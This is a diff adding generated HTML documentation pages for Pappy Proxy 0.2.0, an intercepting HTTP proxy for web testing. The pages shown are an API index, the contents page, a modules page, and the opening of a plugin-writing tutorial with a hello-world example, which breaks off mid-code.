+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.raw_data">raw_data (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      <dd><dl>
+        
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.raw_data">(pappyproxy.http.Response attribute)</a>
+  </dt>
+
+      </dl></dd>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.raw_headers">raw_headers (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      <dd><dl>
+        
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.raw_headers">(pappyproxy.http.Response attribute)</a>
+  </dt>
+
+      </dl></dd>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.remove_intercepting_macro">remove_intercepting_macro() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.remove_request">remove_request() (pappyproxy.context.Context static method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict">RepeatableDict (class in pappyproxy.http)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request">Request (class in pappyproxy.http)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.reserved_meta_keys">reserved_meta_keys (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.reset_metadata">reset_metadata() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response">Response (class in pappyproxy.http)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.ResponseCookie">ResponseCookie (class in pappyproxy.http)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.rsptime">rsptime (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.run_cmd">run_cmd() (in module pappyproxy.plugin)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="S">S</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.save">save() (pappyproxy.http.Request method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.saved">saved (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.ProxyCmd.set_cmd">set_cmd() (pappyproxy.console.ProxyCmd method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.ProxyCmd.set_cmds">set_cmds() (pappyproxy.console.ProxyCmd method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.set_cookie">set_cookie() (pappyproxy.http.Response method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.set_cookie_kv">set_cookie_kv() (pappyproxy.http.Response method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.set_filters">set_filters() (pappyproxy.context.Context method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.set_metadata">set_metadata() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.set_tag">set_tag() (in module pappyproxy.context)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.set_val">set_val() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.sort">sort() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.soup">soup (pappyproxy.http.Response attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.start_line">start_line (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      <dd><dl>
+        
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.start_line">(pappyproxy.http.Response attribute)</a>
+  </dt>
+
+      </dl></dd>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.status_line">status_line (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.submit">submit() (pappyproxy.http.Request method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.submit_new">submit_new() (pappyproxy.http.Request static method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="T">T</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.to_json">to_json() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="U">U</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.update_from_body">update_from_body() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.update_from_headers">update_from_headers() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.url">url (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+
+   
+
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="#" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/index.html

@@ -0,0 +1,169 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>Welcome to Pappy Proxy’s documentation! &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="#" />
+    <link rel="next" title="The Pappy Proxy" href="overview.html" /> 
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="overview.html" title="The Pappy Proxy"
+             accesskey="N">next</a> |</li>
+        <li class="nav-item nav-item-0"><a href="#">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+  <div class="section" id="welcome-to-pappy-proxy-s-documentation">
+<h1>Welcome to Pappy Proxy&#8217;s documentation!<a class="headerlink" href="#welcome-to-pappy-proxy-s-documentation" title="Permalink to this headline">¶</a></h1>
+<p>Contents:</p>
+<div class="toctree-wrapper compound">
+<ul>
+<li class="toctree-l1"><a class="reference internal" href="overview.html">The Pappy Proxy</a><ul>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#introduction">Introduction</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#contributing">Contributing</a></li>
+</ul>
+</li>
+<li class="toctree-l1"><a class="reference internal" href="overview.html#how-to-use-it">How to Use It</a><ul>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#installation">Installation</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#quickstart">Quickstart</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#lite-mode">Lite Mode</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#adding-the-ca-cert-to-your-browser">Adding The CA Cert to Your Browser</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#configuration">Configuration</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#generating-pappy-s-ca-cert">Generating Pappy&#8217;s CA Cert</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#browsing-recorded-requests-responses">Browsing Recorded Requests/Responses</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#tags">Tags</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#request-ids">Request IDs</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#context">Context</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#filter-strings">Filter Strings</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#scope">Scope</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#interceptor">Interceptor</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#repeater">Repeater</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#macros">Macros</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#intercepting-macros">Intercepting Macros</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#logging">Logging</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#additional-commands-and-features">Additional Commands and Features</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#plugins">Plugins</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#faq">FAQ</a></li>
+<li class="toctree-l2"><a class="reference internal" href="overview.html#changelog">Changelog</a></li>
+</ul>
+</li>
+<li class="toctree-l1"><a class="reference internal" href="tutorial.html">The Pappy Proxy Tutorial</a><ul>
+<li class="toctree-l2"><a class="reference internal" href="tutorial.html#getting-set-up">Getting Set Up</a></li>
+<li class="toctree-l2"><a class="reference internal" href="tutorial.html#the-tutorial">The Tutorial</a></li>
+<li class="toctree-l2"><a class="reference internal" href="tutorial.html#conclusion">Conclusion</a></li>
+</ul>
+</li>
+<li class="toctree-l1"><a class="reference internal" href="pappyplugins.html">Writing Plugins for the Pappy Proxy</a><ul>
+<li class="toctree-l2"><a class="reference internal" href="pappyplugins.html#introduction">Introduction</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyplugins.html#creating-a-plugin">Creating a Plugin</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyplugins.html#plugin-api">Plugin API</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyplugins.html#built-in-plugins-as-examples">Built In Plugins As Examples</a></li>
+</ul>
+</li>
+</ul>
+</div>
+</div>
+<div class="section" id="indices-and-tables">
+<h1>Indices and tables<a class="headerlink" href="#indices-and-tables" title="Permalink to this headline">¶</a></h1>
+<ul class="simple">
+<li><a class="reference internal" href="genindex.html"><span>Index</span></a></li>
+<li><a class="reference internal" href="py-modindex.html"><span>Module Index</span></a></li>
+<li><a class="reference internal" href="search.html"><span>Search Page</span></a></li>
+</ul>
+</div>
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+  <h3><a href="#">Table Of Contents</a></h3>
+  <ul>
+<li><a class="reference internal" href="#">Welcome to Pappy Proxy&#8217;s documentation!</a></li>
+<li><a class="reference internal" href="#indices-and-tables">Indices and tables</a></li>
+</ul>
+
+  <h4>Next topic</h4>
+  <p class="topless"><a href="overview.html"
+                        title="next chapter">The Pappy Proxy</a></p>
+  <div role="note" aria-label="source link">
+    <h3>This Page</h3>
+    <ul class="this-page-menu">
+      <li><a href="_sources/index.txt"
+            rel="nofollow">Show Source</a></li>
+    </ul>
+   </div>
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="overview.html" title="The Pappy Proxy"
+             >next</a> |</li>
+        <li class="nav-item nav-item-0"><a href="#">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/modules.html

@@ -0,0 +1,123 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>pappyproxy &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" /> 
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+  <div class="section" id="pappyproxy">
+<h1>pappyproxy<a class="headerlink" href="#pappyproxy" title="Permalink to this headline">¶</a></h1>
+<div class="toctree-wrapper compound">
+<ul>
+<li class="toctree-l1"><a class="reference internal" href="pappyproxy.html">pappyproxy package</a><ul>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#subpackages">Subpackages</a><ul class="simple">
+</ul>
+</li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#submodules">Submodules</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.comm">pappyproxy.comm module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.config">pappyproxy.config module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.console">pappyproxy.console module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.context">pappyproxy.context module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.http">pappyproxy.http module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.iter">pappyproxy.iter module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.macros">pappyproxy.macros module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.pappy">pappyproxy.pappy module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.plugin">pappyproxy.plugin module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.proxy">pappyproxy.proxy module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.repeater">pappyproxy.repeater module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.session">pappyproxy.session module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy.util">pappyproxy.util module</a></li>
+<li class="toctree-l2"><a class="reference internal" href="pappyproxy.html#module-pappyproxy">Module contents</a></li>
+</ul>
+</li>
+</ul>
+</div>
+</div>
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+  <div role="note" aria-label="source link">
+    <h3>This Page</h3>
+    <ul class="this-page-menu">
+      <li><a href="_sources/modules.txt"
+            rel="nofollow">Show Source</a></li>
+    </ul>
+   </div>
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/pappyplugins.html

@@ -0,0 +1,624 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>Writing Plugins for the Pappy Proxy &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" />
+    <link rel="prev" title="The Pappy Proxy Tutorial" href="tutorial.html" /> 
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="tutorial.html" title="The Pappy Proxy Tutorial"
+             accesskey="P">previous</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+  <div class="section" id="writing-plugins-for-the-pappy-proxy">
+<h1>Writing Plugins for the Pappy Proxy<a class="headerlink" href="#writing-plugins-for-the-pappy-proxy" title="Permalink to this headline">¶</a></h1>
+<div class="contents local topic" id="table-of-contents">
+<p class="topic-title first">Table of Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#introduction" id="id1">Introduction</a><ul>
+<li><a class="reference internal" href="#should-i-write-a-plugin-or-a-macro" id="id2">Should I Write a Plugin or a Macro?</a></li>
+<li><a class="reference internal" href="#plugins-get-merged" id="id3">Plugins Get Merged</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#creating-a-plugin" id="id4">Creating a Plugin</a><ul>
+<li><a class="reference internal" href="#writing-a-hello-world-plugin" id="id5">Writing a Hello World Plugin</a></li>
+<li><a class="reference internal" href="#passing-arguments-to-your-function" id="id6">Passing Arguments to Your Function</a></li>
+<li><a class="reference internal" href="#adding-more-aliases" id="id7">Adding More Aliases</a></li>
+<li><a class="reference internal" href="#adding-another-command" id="id8">Adding Another Command</a></li>
+<li><a class="reference internal" href="#adding-autocompletion" id="id9">Adding Autocompletion</a></li>
+<li><a class="reference internal" href="#adding-help" id="id10">Adding Help</a></li>
+<li><a class="reference internal" href="#using-defer-inlinecallbacks-with-a-command" id="id11">Using defer.inlineCallbacks With a Command</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#plugin-api" id="id12">Plugin API</a><ul>
+<li><a class="reference internal" href="#api-functions" id="id13">API Functions</a></li>
+<li><a class="reference internal" href="#storing-data-on-disk" id="id14">Storing Data on Disk</a></li>
+<li><a class="reference internal" href="#storing-custom-request-metadata" id="id15">Storing Custom Request Metadata</a></li>
+<li><a class="reference internal" href="#useful-functions" id="id16">Useful Functions</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#built-in-plugins-as-examples" id="id17">Built In Plugins As Examples</a><ul>
+<li><a class="reference internal" href="#built-in-plugins" id="id18">Built In Plugins</a></li>
+<li><a class="reference internal" href="#interceptor-and-repeater" id="id19">Interceptor and Repeater</a></li>
+</ul>
+</li>
+</ul>
+</div>
+<div class="section" id="introduction">
+<h2><a class="toc-backref" href="#id1">Introduction</a><a class="headerlink" href="#introduction" title="Permalink to this headline">¶</a></h2>
+<p>Are macros not powerful enough? Want to make something reusable? Want to add console commands?! Then you might want to write yourself a plugin. Some quick highlights about plugins:</p>
+<ul class="simple">
+<li>Python scripts stored in <code class="docutils literal"><span class="pre">~/.pappy/plugins</span></code></li>
+<li>Can add console commands</li>
+<li>For actions which aren&#8217;t specific to one project</li>
+<li>Harder to write than macros</li>
+</ul>
+<p>Since macros can also use the plugin API, plugins aren&#8217;t any more powerful than macros (besides adding console commands). However, if you find yourself copying a useful macro to more than one project, it may be worth it to just bind it to some commands, put the script in one place, and stop worrying about copying it around. Plus then you can put it on GitHub for some sweet sweet nerd cred.</p>
+<div class="section" id="should-i-write-a-plugin-or-a-macro">
+<h3><a class="toc-backref" href="#id2">Should I Write a Plugin or a Macro?</a><a class="headerlink" href="#should-i-write-a-plugin-or-a-macro" title="Permalink to this headline">¶</a></h3>
+<p>A lot of the time, you can get away with writing a macro. However, you may consider writing a plugin if:</p>
+<ul class="simple">
+<li>You find yourself copying one macro to multiple projects</li>
+<li>You want to write a general tool that can be applied to any website</li>
+<li>You need to maintain state during the Pappy session</li>
+</ul>
+<p>My guess is that if you need one quick thing for a project, you&#8217;re better off writing a macro first and seeing if you end up using it in future projects. Then if you find yourself needing it a lot, write a plugin for it. You may also consider keeping a <code class="docutils literal"><span class="pre">mine.py</span></code> plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for.</p>
+</div>
+<div class="section" id="plugins-get-merged">
+<h3><a class="toc-backref" href="#id3">Plugins Get Merged</a><a class="headerlink" href="#plugins-get-merged" title="Permalink to this headline">¶</a></h3>
+<p>If you write a useful plugin, as long as it isn&#8217;t uber niche, I&#8217;ll try and merge it into the core project.</p>
+</div>
+</div>
+<div class="section" id="creating-a-plugin">
+<h2><a class="toc-backref" href="#id4">Creating a Plugin</a><a class="headerlink" href="#creating-a-plugin" title="Permalink to this headline">¶</a></h2>
+<p>Whenever you make a macro, you&#8217;ll have to bind some functions to some console commands. To do this, you&#8217;ll have to define a <code class="docutils literal"><span class="pre">load_cmds</span></code> function in your plugin. This function should take one argument. When the plugin is loaded, this function will be called and the console object will be passed to this function. You can then use <code class="docutils literal"><span class="pre">set_cmds</span></code> and <code class="docutils literal"><span class="pre">add_aliases</span></code> to bind functions to console commands.</p>
+<div class="section" id="writing-a-hello-world-plugin">
+<h3><a class="toc-backref" href="#id5">Writing a Hello World Plugin</a><a class="headerlink" href="#writing-a-hello-world-plugin" title="Permalink to this headline">¶</a></h3>
+<p>It&#8217;s probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a <code class="docutils literal"><span class="pre">hello</span></code> command and gives an alias <code class="docutils literal"><span class="pre">hlo</span></code> (we&#8217;ll go over all the parts in a second):</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="c">## hello.py</span>
+
+<span class="k">def</span> <span class="nf">hello_world</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">print</span> <span class="s">&quot;Hello, world!&quot;</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;hello&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">hello_world</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;hlo&#39;</span><span class="p">),</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>Save this as <code class="docutils literal"><span class="pre">~/.pappy/plugins/hello.py</span></code> and run Pappy. You should have a new <code class="docutils literal"><span class="pre">hello</span></code> command that prints your message:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ cp hello.py ~/.pappy/plugins/
+$ pappy -l
+Temporary datafile is /tmp/tmp1Myw6q
+Proxy is listening on port 8000
+pappy&gt; hello
+Hello, world!
+pappy&gt; hlo
+Hello, world!
+pappy&gt;
+</pre></div>
+</div>
+<p>Awesome! So let&#8217;s go over the code. Here are the important parts of the code:</p>
+<ul class="simple">
+<li>We define a function that we want to call</li>
+<li>We define <code class="docutils literal"><span class="pre">load_cmds(cmd)</span></code> to be called when our plugin is loaded to bind our function to a command</li>
+<li>We use <code class="docutils literal"><span class="pre">cmd.set_cmds</span></code> to set all our commands</li>
+<li>We use <code class="docutils literal"><span class="pre">cmd.add_aliases</span></code> to add aliases for commands</li>
+</ul>
+<p>Now let&#8217;s go over it in detail</p>
+</div>
+<div class="section" id="passing-arguments-to-your-function">
+<h3><a class="toc-backref" href="#id6">Passing Arguments to Your Function</a><a class="headerlink" href="#passing-arguments-to-your-function" title="Permalink to this headline">¶</a></h3>
+<p>Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run <code class="docutils literal"><span class="pre">hello</span> <span class="pre">foo</span> <span class="pre">bar</span></code>, in our function line would be &#8220;foo bar&#8221;. <strong>I suggest using shlex.split(line) to parse multiple arguments</strong>. So let&#8217;s update our script to take some arguments:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="c">## hello.py</span>
+<span class="kn">import</span> <span class="nn">shlex</span>
+
+<span class="k">def</span> <span class="nf">hello_world</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
